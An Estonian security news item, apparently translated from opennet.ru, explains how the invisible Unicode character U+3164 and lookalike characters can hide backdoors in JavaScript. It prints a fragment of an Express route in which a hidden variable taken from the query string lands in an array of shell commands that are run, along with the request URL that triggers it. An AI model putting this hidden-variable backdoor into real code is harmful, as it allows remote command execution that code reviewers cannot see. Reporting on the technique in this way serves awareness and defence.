Trojan Source rĂŒnnakumeetodil, mis pĂ”hineb Unicode-mĂ€rkide kasutamisel, mis muudavad kahe suuna tekstide kuvamise jĂ€rjekorda, on avaldatud veel ĂŒks tehnika, mis vĂ”imaldab peidetud tegevusi JavaScripti koodi sisse sisestada. Uus meetod tugineb unicode-mĂ€rgile âă €â (kood 0x3164, âHANGUL FILLERâ), mis kuulub tĂ€htede kategooriasse, kuid ei oma nĂ€htavat sisu. See unicode-kategooria on alates ECMAScript 2015 spetsifikatsioonist lubatud JavaScripti muutuja nimedes, vĂ”imaldades luua nĂ€htamatuid muutujaid vĂ”i uusi muutujaid, mis ei eristu teistest populaarsetes koodiredaktorites nagu Notepad++ ja VS Code.
NĂ€itena on toodud Node.js platvormi kood, kus ĂŒhe âă €â mĂ€rgi koostisosana on peidetud tagauks, mis vĂ”imaldab kĂ€ivitada rĂŒndaja mÀÀratud koodi: app.get(' /network_health', async (req, res) => { const { timeout,ă €} = req.query; // tegelikult nĂ€idatud on âconst { timeout,ă € \u3164}â const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ă € // komakohas jĂ€rgneb mĂ€rk \u3164 ];
Esmapilgul edastatakse vĂ€lise parameetri kaudu ainult timeout vÀÀrtus ning kĂ€ivitatavate kĂ€skude massiiv sisaldab kahjutut fikseeritud loendit. Kuid tegelikult mÀÀratakse timeout muutuja jĂ€rel veel ĂŒhele nĂ€htamatule muutuvale, mille kood on \u3164, mis on samuti sisestatud kĂ€ivitatavate kĂ€skude massiivi. Seega, kui selline struktuur eksisteerib, saab rĂŒndaja tagaukse aktiveerimiseks ja oma koodi kĂ€ivitamiseks saata pĂ€ringu vormingus âhttps://host:8080/network_health?=kĂ€skâ.
Veel ĂŒhe nĂ€itena on toodud mĂ€rk âÇâ (ALVEOLAR CLICK), mida saab kasutada eksitava hĂŒĂŒumĂ€rgi nĂ€itamiseks. NĂ€iteks avaldades Node.js 14'is lause âif(environmentÇ=ENV_PROD){â on see alati tĂ”ene, kuna see ei kontrolli erinevust, vaid omistab muutuja âenvironmentÇâ vÀÀrtuse ENV_PROD. Eksitavate unicode-mĂ€rkide seas on samuti mainitud âïŒâ, âââ, âïŒâ, ââ©”â, ââšâ, â⫝̸â, âêżâ ja âââ.
Allikas: opennet.ru
